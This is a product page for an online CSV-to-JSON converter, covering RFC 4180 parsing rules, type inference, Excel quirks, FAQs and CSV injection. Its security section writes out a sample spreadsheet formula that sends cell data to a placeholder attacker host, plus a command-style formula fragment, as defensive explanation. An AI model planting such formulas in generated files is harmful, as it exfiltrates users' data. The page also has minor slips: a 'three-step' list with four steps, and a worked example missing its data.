# CSV to JSON Converter

> Convert CSV to JSON instantly. Free online tool to parse, validate & transform spreadsheet data into clean JSON arrays for APIs and databases.

**URL:** https://calculators.im/csv-to-json-converter  
**Category:** general  
**Last updated:** 2026-07-03  

Convert CSV to JSON online — fast, free, browser-side. Paste CSV, get clean JSON arrays with type-correct values, automatic header detection, RFC 4180 quoting, and one-click copy. Built for APIs, database imports, JavaScript datasets, and ETL pipelines.

Our CSV to JSON converter parses any RFC 4180-compliant CSV (commas or other delimiters, quoted fields, escaped quotes, multi-line cells) and emits a clean JSON array. The first row becomes object keys by default (configurable). Numeric and boolean values are auto-typed (numbers stay numbers, true/false become booleans, empty cells become null) — toggle off to keep everything as strings if your downstream consumer is strict. Validation flags ragged rows, unclosed quotes, and encoding issues with line numbers. Everything runs in your browser, so customer exports, payroll CSVs, and other sensitive tabular data never leave your device. Use it for JavaScript dataset imports, REST API request bodies, MongoDB seed files, or any tool that prefers JSON over CSV.

## Formula

```
parse CSV(input, delimiter, quote) → [{header: value, ...}, ...]
```

**Variables:**

- **input** — Raw CSV text (RFC 4180 — comma-delimited, double-quoted strings, CRLF or LF line endings)
- **parse CSV()** — Tokenizes by delimiter respecting quoted fields, expands escaped quotes ("" → "), preserves cell values
- **delimiter** — Field separator — comma (default), tab, semicolon, or pipe
- **header row** — First row becomes JSON object keys (toggleable; off → emit array of arrays)
- **type inference** — Numeric strings → numbers, true/false → boolean, empty → null (toggleable)

CSV-to-JSON conversion tokenizes the CSV per RFC 4180: fields separated by the delimiter, double-quoted fields can contain delimiters and newlines, and `""` inside a quoted field is an escaped quote. The first row is treated as the header and becomes JSON object keys; subsequent rows become objects. Optional type inference promotes obvious numeric and boolean strings to JSON-native types. The result is a JSON array ready to consume in any language that has a JSON parser.

## Worked Example

### Example: Convert a Customer Export CSV to JSON

The 4-column header row defines the JSON object keys. Each subsequent row becomes one object in the JSON array. Type inference promotes `30` to integer, `true`/`false` to booleans, and keeps strings (name, email) as strings. The output is valid JSON ready to POST to a REST API, save as `customers.json`, or import as a dataset in JavaScript/Python.

## How to Convert CSV to JSON in 3 Steps: Paste, Parse, Copy

1. **Paste CSV** — Paste any CSV — Excel export, database dump, or API response. The parser handles RFC 4180 quoting, CRLF/LF line endings, and UTF-8 BOM automatically.
2. **Configure** — Pick the delimiter (comma, semicolon, tab, pipe), toggle header-row mode, and choose type inference on/off. Defaults work for most Excel/Google Sheets exports.
3. **Convert** — JSON appears instantly with type-correct values, header keys, and your chosen indentation. Pick 2-space, 4-space, or minified output.
4. **Copy or Download** — Click Copy for clipboard or Download to save as a `.json` file ready for API request bodies, JavaScript datasets, or database seeds.

## Pro Tips

- Quote any field containing a comma, double quote, or newline — RFC 4180 requires double quotes around such cells
- Escape double quotes inside quoted fields by doubling them: `"He said ""hi"""` represents the value `He said "hi"`
- First row is treated as the header by default — toggle off if your CSV has no header (output becomes array of arrays)
- Type inference catches `123`, `4.5`, `true`, `false`, and empty cells (→ null). Toggle off if your downstream needs strings only
- Empty cells in the source become `null` in JSON by default — change to empty string if your consumer prefers that
- Excel CSV exports often use Windows CRLF line endings — the parser handles both CRLF and LF
- Watch for BOM (byte-order mark) at the start of UTF-8 CSV files exported from Excel — the parser strips it automatically
- For very large CSV files (50MB+), prefer streaming tools like `csvkit`, `jq`, or `Papa Parse` with chunking instead of in-browser conversion
- Quoted numeric strings (`"01234"` for a ZIP code) stay as strings in the output — type inference only promotes unquoted values
- Beware CSV injection: never paste CSV from untrusted sources directly into Excel or Google Sheets without sanitizing leading `=`, `+`, `-`, `@` characters (OWASP)

## Frequently Asked Questions

### How do I convert CSV to JSON online?

Paste your CSV into the input editor and the converter instantly emits JSON in the right pane. The first row is treated as the header (object keys); subsequent rows become objects in a JSON array. Type inference promotes numbers and booleans automatically. Click Copy for clipboard or Download to save as a `.json` file. Conversion runs entirely in your browser — no upload, no server.

### What is the difference between CSV and JSON?

CSV (Comma-Separated Values) is a flat tabular format — each line is a row, fields separated by a delimiter (usually comma). It has no native types (everything is text), no nesting, and no metadata beyond an optional header row. JSON (JavaScript Object Notation) is a hierarchical format with explicit types (string/number/boolean/null), nested objects and arrays, and self-describing keys. CSV is great for spreadsheet exchange and bulk data; JSON is better for APIs, configs, and structured records.

### Is JSON better than CSV?

It depends. For machine-to-machine APIs, configs, and nested data — yes, JSON is better (explicit types, hierarchical, self-describing). For bulk tabular data exchange, spreadsheet edits, and analyst workflows — CSV is often better (smaller, every tool reads it, easier to scan in a text editor). Many data pipelines use CSV for ingestion and JSON for serving — convert at the boundary.

### Can I convert Excel CSV files to JSON?

Yes — Excel exports CSV by default with comma delimiters and quoted text fields. The parser handles Excel-specific quirks: UTF-8 BOM at the start of the file (stripped automatically), CRLF line endings (Windows), and Excel's quoting style (double-quote escape via `""`). For Excel files saved with non-comma delimiters (semicolons in EU locales), switch the delimiter setting before parsing.

### Can I convert large CSV files to JSON?

Yes — the converter handles CSV files up to tens of megabytes in modern browsers. Very large files (100MB+) may slow your browser; for those, use a streaming command-line tool like `csvkit` (`csvjson input.csv > output.json`), `jq` with `@csv` mode, or Papa Parse with worker chunks. For routine exports under 10MB, this in-browser tool is the fastest option.

### How does CSV parsing handle quoted fields and escaped quotes?

Per RFC 4180: fields containing the delimiter, a double quote, or a newline must be enclosed in double quotes. Inside a quoted field, a literal double quote is escaped by doubling it (`""` represents a single `"`). For example, the cell value `He said "hi"` is encoded as `"He said ""hi"""` in CSV. Our parser handles this correctly, preserving the original cell content exactly.

### What is type inference in CSV to JSON conversion?

Type inference promotes obvious numeric and boolean strings to JSON-native types: `42` → integer 42, `3.14` → number 3.14, `true`/`false` → booleans, empty cells → null. Strings that look like numbers but should stay strings (ZIP codes, phone numbers, account IDs) need to be quoted in the source CSV — quoted values always stay strings. Toggle type inference off entirely if your downstream consumer expects all-strings.

### What is RFC 4180 and why does it matter?

RFC 4180 (2005) is the IETF informational standard for CSV — defines comma as delimiter, CRLF as line terminator, double-quote as text qualifier, and `""` as the escape for embedded quotes. It's not strictly enforced (CSV existed long before the RFC), but most modern tools target RFC 4180 for compatibility. Common deviations: Unix LF instead of CRLF, semicolon instead of comma in EU locales, trailing newline at end of file. Our parser tolerates all three.

### How do I handle CSV files with semicolons or tabs as delimiters?

Switch the Delimiter setting from comma to semicolon, tab, or pipe before pasting. EU Excel exports often use semicolons (since comma is the decimal separator in many locales). Tab-delimited files (TSV) are common in scientific data and database exports. Pipe-delimited files appear in legacy mainframe exports. The conversion logic is identical — only the field separator changes.

### Can I convert CSV without a header row to JSON?

Yes — toggle 'Header Row' off and the output becomes an array of arrays instead of an array of objects. Each row is a sub-array of cell values. Useful when your CSV is purely positional data (no column names) or when you want to preserve the original tabular structure. Switch back to header mode if you later add column names.

### How do I avoid CSV injection vulnerabilities?

CSV injection happens when a CSV file containing formula prefixes (`=`, `+`, `-`, `@`) is opened in Excel or Google Sheets — the spreadsheet executes the formula automatically, potentially exfiltrating data or running macros. To mitigate when generating CSV: prefix any cell that starts with one of those characters with a single quote (`'=cmd|...`). Our converter is read-only (CSV → JSON), so it doesn't introduce injection risk, but always sanitize before exporting CSV from untrusted user input. OWASP has a full guide.

### Can I convert nested data from CSV to JSON?

Direct CSV → nested JSON is not possible since CSV is inherently flat. Three workarounds: (1) Encode nested values as JSON strings inside a CSV cell (`"{""city"":""NYC""}"`) — our parser keeps these as strings; you re-parse downstream. (2) Use dot notation in headers (`address.city`, `address.zip`) and post-process the JSON output to nest. (3) For complex hierarchies, switch to JSON or YAML as your source format. Pure flat objects (one level deep) round-trip cleanly through CSV.

### Why is my CSV failing to parse?

Most common causes: (1) Unclosed quote — a field starts with `"` but never has a matching closing `"` before the next delimiter. (2) Escaped quotes used incorrectly — use `""` to embed a literal quote, not `\"`. (3) Wrong delimiter — your file uses semicolons but the parser is set to commas. (4) Inconsistent column count (ragged rows) — some rows have fewer or more fields than the header. (5) BOM/encoding issues — ensure UTF-8 encoding. The error message shows the line and column where parsing failed.

### Can I use the JSON output directly in JavaScript?

Yes — the JSON output is standard ECMA-404 JSON, ready to feed `JSON.parse()`, `fetch()` POST bodies, React state initializers, Node.js APIs, or any JavaScript dataset library. For typed projects (TypeScript), the inferred types match: numeric cells become `number`, boolean cells become `boolean`, empty becomes `null`. If your project requires uniform types regardless of source, run a normalization pass (e.g., `Number(row.age) || 0`) after parsing.

### Is this CSV to JSON converter safe for sensitive data?

Yes — all conversion runs in your browser via JavaScript. No CSV is uploaded to a server, logged, or transmitted anywhere. Verify by opening DevTools → Network: no requests fire when you paste or convert. Safe for customer exports, payroll data, internal database dumps, and any other sensitive tabular data. The page works offline once loaded.

### How do I convert JSON back to CSV?

Use the JSON to CSV Converter (sister tool, coming soon) or export programmatically with `csvkit` (`in2csv input.json`), Papa Parse (`Papa.unparse(rows)`), or Python's `csv.DictWriter`. Round-tripping CSV → JSON → CSV preserves cell values exactly (modulo type promotion if you re-parse the JSON before exporting). Nested JSON requires flattening before CSV export — pick a strategy (dot notation for keys, JSON strings for cells, or first-level only).

### How does this compare to Papa Parse or csvkit?

Functionally similar for the common case. Papa Parse is the canonical JS CSV library — better for programmatic use, streaming, and worker-thread parsing. csvkit is the canonical Python CLI — better for shell pipelines and large files. Our online converter is a browser tool — no install, instant feedback, easy to share a URL with colleagues. All three target RFC 4180 strict mode and produce equivalent JSON for standard inputs.

### What encoding should my CSV use for best results?

UTF-8 (with or without BOM) — the universal default for modern CSV files. Excel for Windows often saves as UTF-8 BOM or Windows-1252 (Latin-1); Excel for Mac usually saves UTF-8. If your CSV contains non-ASCII characters (accents, emoji, CJK) and they appear garbled, the file is probably not UTF-8 — re-save as UTF-8 in your spreadsheet app. Our parser strips BOM automatically and treats input as UTF-8 by default.

## Deep Dive

Convert any CSV file to JSON instantly — paste, parse, copy. The converter handles RFC 4180 quoting (escaped quotes via `""`), multi-line cells, CRLF/LF line endings, UTF-8 BOM stripping, and four delimiter options (comma, semicolon, tab, pipe). Type inference promotes numbers and booleans automatically; toggle off for all-strings output. Everything runs in your browser, so customer exports, payroll CSVs, and other sensitive tabular data never leave your device. Below: how the parser works under the hood, CSV vs JSON differences for developers, conversion patterns for Excel/Google Sheets, type inference rules, RFC 4180 edge cases, CSV injection security, and a cheat sheet for round-tripping safely.

### CSV to JSON Converter Online: Parse Any Spreadsheet to JSON Instantly

Paste valid CSV — an Excel export, Google Sheets download, database dump, or API response — and the converter emits a **clean JSON array** in real time. The first row is treated as the header by default, becoming JSON object keys; subsequent rows become objects in a JSON array.

**Type inference** promotes:

- obvious numeric strings to numbers (42 stays an integer, 3.14 stays a float)
- boolean strings to booleans (true/false case-insensitive)
- empty cells to null

Toggle these behaviors off if your downstream consumer is strict about types.

The conversion runs entirely in your browser using a hand-rolled RFC 4180 parser plus the native JSON.stringify (per ECMA-404). Output is ready to paste into a `.json` file, feed to a REST API, or use as a JavaScript dataset.

### How to Convert CSV to JSON: A 3-Step Workflow for Developers

- **Step 1:** Paste your CSV into the editor. The parser validates as you type — invalid CSV (unclosed quotes, ragged rows, wrong delimiter) shows the exact error with line and column.
- **Step 2:** Configure the parser if needed — pick the delimiter (defaults to comma; switch to semicolon for EU Excel exports or tab for TSV files), toggle the header-row mode, and choose type inference.
- **Step 3:** The JSON output appears live in the right pane. Click Copy (clipboard) or Download (`.json` file).

For programmatic workflows, the same logic is exposed via the `/api/calculate` endpoint — POST CSV to it and receive the JSON in the response body. Round-trip safety holds for flat tabular data; nested data needs a custom flattening strategy.

### CSV vs JSON: Key Differences in Structure, Types, and Use Cases

**CSV** (Comma-Separated Values) is a flat tabular format — each line is a row, fields separated by a delimiter. It has no native types (every cell is text), no nesting (one level deep, like a database table), and minimal metadata (an optional header row). It's universally readable: every spreadsheet tool, every database import, every shell tool grok CSV.

**JSON** (JavaScript Object Notation) is a hierarchical format with explicit types (string, number, boolean, null), nested objects and arrays, and self-describing keys per record. JSON is the lingua franca of REST/GraphQL APIs, NoSQL databases, and configuration files.

**When to use which:**

- CSV for bulk tabular data, spreadsheet exchange, ETL ingestion, and analyst workflows.
- JSON for APIs, configs, nested records, and machine-to-machine messaging.

Convert between them at the boundary: ingest CSV → process as JSON → export back to CSV if a spreadsheet consumer needs it.

### RFC 4180 CSV Parsing: Quoted Fields, Escaped Quotes, and Edge Cases

**RFC 4180** (2005) is the IETF informational standard for CSV.

**Core rules:**

- Records are separated by CRLF (Windows) or LF (Unix).
- Fields are separated by a delimiter (comma in the standard; commonly varied in practice).
- Fields containing the delimiter, a double quote, or a newline must be enclosed in double quotes.
- Inside a quoted field, a literal double quote is escaped by doubling it (`""` represents a single `"`).
- An optional header row appears as the first record.

The parser implemented here tolerates LF-only line endings, semicolon/tab/pipe delimiters (toggle in settings), UTF-8 BOM at file start (stripped automatically), and a trailing newline at end-of-file. It rejects unclosed quoted fields and ragged rows with clear error messages.

### Type Inference: Numbers, Booleans, and Null Handling in CSV-to-JSON

**Type inference** promotes obvious unquoted values to JSON-native types.

- **Numbers:** digit patterns matching JSON's integer or float syntax become JSON numbers. `42` → integer 42. `3.14` → float 3.14. `1e6` → 1000000. `01234` is ambiguous — strict number parsers reject leading zeros, so it stays a string (which is what you want for ZIP codes).
- **Booleans:** `true` and `false` (case-insensitive) become JSON booleans. Note: this is the YAML 1.2 / strict JSON convention — `yes`/`no`/`on`/`off` stay as strings (the 'Norway problem' fix).
- **Null:** empty cells (between two consecutive delimiters or at end of row) become JSON null.

If you toggle type inference off, every cell stays a string regardless of content — useful when your downstream consumer (e.g., a strict TypeScript pipeline) expects uniform types.

### Convert Excel CSV Files to JSON: Encoding, Delimiters, and Quirks

**Excel** is the dominant CSV producer, and its exports come with quirks.

- **Encoding:** Excel for Windows often saves CSV as UTF-8 with BOM (the parser strips it automatically) or Windows-1252 (Latin-1) for older versions. Excel for Mac usually saves clean UTF-8. If non-ASCII characters appear garbled, re-save the file as UTF-8 in your spreadsheet app before pasting.
- **Delimiters:** in EU locales (Germany, France, etc.), Excel uses semicolons because comma is the decimal separator; switch the delimiter setting accordingly.
- **Line endings:** Excel uses CRLF by default — fully supported.
- **Quoting:** Excel quotes any cell containing a comma or double quote; embedded quotes are escaped via `""`.
- **Number formatting:** Excel may export `1,234.56` (comma as thousands separator) which the parser will treat as a string unless you re-format.
- **Date columns** export as the locale's default string — usually need post-processing to convert to ISO 8601.

### Convert CSV to JSON for REST APIs and Database Imports

**JSON** is the dominant request/response format for REST APIs, GraphQL endpoints, and most modern web services.

Converting CSV to JSON is a frequent step when:

- bulk-importing data via an API that accepts JSON arrays (e.g., user signup, product catalog seeding, bulk update endpoints);
- seeding NoSQL databases (MongoDB, DynamoDB, Cassandra) that ingest JSON natively via `mongoimport`, `aws dynamodb batch-write-item`, or similar;
- feeding ETL pipelines (Airflow, Prefect, dbt) that move CSV exports through JSON-based transformations;
- populating frontend dummy data for React/Vue/Angular component prototypes.

After conversion, validate the JSON output against your downstream schema (JSON Schema, OpenAPI request body, GraphQL input type) to catch type mismatches before deployment.

### Convert CSV to JSON for JavaScript, Node.js, and Frontend Datasets

**JSON** is the native data format for JavaScript runtimes (browser, Node.js, Deno, Bun).

Convert CSV to JSON when you need to:

- embed a static dataset in a React/Vue component (`import data from './data.json'`);
- seed a Redux/Pinia/Zustand store with initial state;
- feed a charting library (Chart.js, D3, Plotly) that expects JSON;
- prototype a Node.js script that processes records before writing to a database;
- build an Express/Fastify mock endpoint that returns sample data.

The JSON output from this converter is fully ECMA-404 compliant — `JSON.parse()`, `fetch()` POST bodies, and TypeScript type inference (`type Row = typeof data[0]`) all work without modification.

For very large datasets (10k+ rows), consider streaming with Papa Parse instead of one-shot conversion.

### CSV Injection Security: Formula Prefixes and Sanitization

**CSV injection** (also called formula injection) is a web-application vulnerability where a CSV file containing formula prefixes (`=`, `+`, `-`, `@`) is opened in Excel or Google Sheets, and the spreadsheet automatically executes the formula.

Attackers can use this to:

- exfiltrate data (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
- run arbitrary commands (legacy Excel macro syntax),
- or trick users into visiting malicious URLs.

This converter is read-only (CSV → JSON), so it doesn't introduce injection risk. But if your application generates CSV exports from user input — sanitize.

**Standard mitigation:** prefix any cell that starts with `=`, `+`, `-`, `@`, `\t`, `\r`, or `0x09` with a single quote (`'=cmd|...`) before writing to CSV. OWASP has a complete CSV Injection cheat sheet covering all variants.

### Common CSV Parse Errors: Unclosed Quotes, Ragged Rows, and Encoding

Five errors account for 90% of CSV parse failures.

- **Unclosed quoted field** — a field starts with `"` but never has a matching closing `"`. The parser keeps reading until end-of-file, then errors. Fix: ensure every opening quote has a matching close.
- **Ragged rows** — some rows have fewer or more fields than the header. Causes: stray newlines inside unquoted text, missing or extra delimiters. Fix: verify column count is consistent.
- **Wrong delimiter** — your file uses semicolons but the parser is set to commas. Switch the Delimiter setting.
- **Wrong escape style** — using `\"` (JSON-style) instead of `""` (RFC 4180-style) inside quoted fields. Fix: re-export from the source tool with proper RFC 4180 quoting.
- **Encoding mismatch** — non-UTF-8 characters appear garbled. Re-save the source file as UTF-8 (most spreadsheet apps offer this option in Save As).

The error message in the converter shows the exact line and column.

### Round-Trip Safety: CSV → JSON → CSV and Edge Cases

Five round-trip considerations every developer should know.

- **Flat data:** pure flat tabular CSV → JSON → CSV preserves cell values, types (modulo type promotion if you re-parse the JSON), and column order.
- **Nested JSON:** cannot be round-tripped through CSV without flattening. Pick a strategy: dot-notation column names (`address.city`, `address.zip`), JSON strings inside cells, or first-level only.
- **Type promotion:** numeric and boolean strings get promoted on CSV → JSON; if you export back to CSV, they're emitted as their native form. ZIP codes (`01234`) need quoting in the source CSV to survive.
- **Header order:** the converter preserves source column order. JSON object key order is preserved by modern JavaScript engines.
- **Empty cells:** become null in JSON; if you export back, configure your CSV writer to emit empty strings or `null` literals as the original.

Test with non-trivial fixtures before relying on round-trip in production pipelines.

### CSV to JSON Cheat Sheet: Type Mapping, Tools, and Best Practices

**Type mapping at a glance:**

- CSV header row → JSON object keys;
- CSV row → JSON object;
- CSV cell (unquoted, numeric) → JSON number;
- CSV cell (unquoted, true/false) → JSON boolean;
- CSV cell (empty) → JSON null;
- CSV cell (quoted or non-numeric) → JSON string.

**Tool comparison:** this converter (browser, instant, no install, RFC 4180 strict) vs Papa Parse (JS library, streaming, worker threads) vs csvkit (Python CLI, large files, dialect detection) vs `jq -R -c -f csv2json.jq` (Unix shell, programmatic).

**Best practices:**

- Always quote ambiguous fields (numeric IDs, ZIP codes, leading-zero strings) in the source CSV.
- Use UTF-8 encoding for compatibility — re-save older Excel files as UTF-8.
- Validate the JSON output against your downstream schema (JSON Schema, OpenAPI, TypeScript types) — catch type errors at the boundary, not in production.
- Keep CSV as the source of truth for tabular data and regenerate JSON at build/import time when possible.
- For >50MB files, switch to streaming tools (Papa Parse worker, csvkit pipeline) instead of in-browser conversion.

## Related Calculators

- [json-formatter](https://calculators.im/json-formatter)
- [json-to-yaml-converter](https://calculators.im/json-to-yaml-converter)
- [yaml-to-json-converter](https://calculators.im/yaml-to-json-converter)
- [regex-tester](https://calculators.im/regex-tester)
- [base64-encoder-decoder](https://calculators.im/base64-encoder-decoder)
- [jwt-decoder](https://calculators.im/jwt-decoder)

## Authoritative Sources

- [RFC 4180 - Common Format and MIME Type for CSV Files](https://datatracker.ietf.org/doc/html/rfc4180) — IETF informational standard defining CSV syntax: comma delimiters, double-quote escaping, CRLF line terminators — the canonical reference for CSV parsing
- [RFC 8259 - The JSON Data Interchange Format](https://datatracker.ietf.org/doc/html/rfc8259) — IETF Internet Standard for JSON syntax, UTF-8 encoding, and parser requirements — the canonical reference for the output format
- [MDN Web Docs - JSON.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) — Mozilla's reference for the JavaScript JSON.parse / stringify methods that power in-browser conversion
- [OWASP - CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection) — OWASP's guide to CSV injection attacks via formula prefixes (=, +, -, @) and mitigation strategies for export workflows
- [Papa Parse - CSV Library Documentation](https://www.papaparse.com/docs) — Canonical JavaScript CSV library docs covering streaming, worker threads, and edge-case handling — reference implementation for CSV behavior
- [Python csv Module](https://docs.python.org/3/library/csv.html) — Python standard library CSV reader/writer with RFC 4180 compliance, dialect detection, and DictReader/DictWriter for object-mode parsing

---

*Source: https://calculators.im/csv-to-json-converter — calculators.im, 299+ free online calculators.*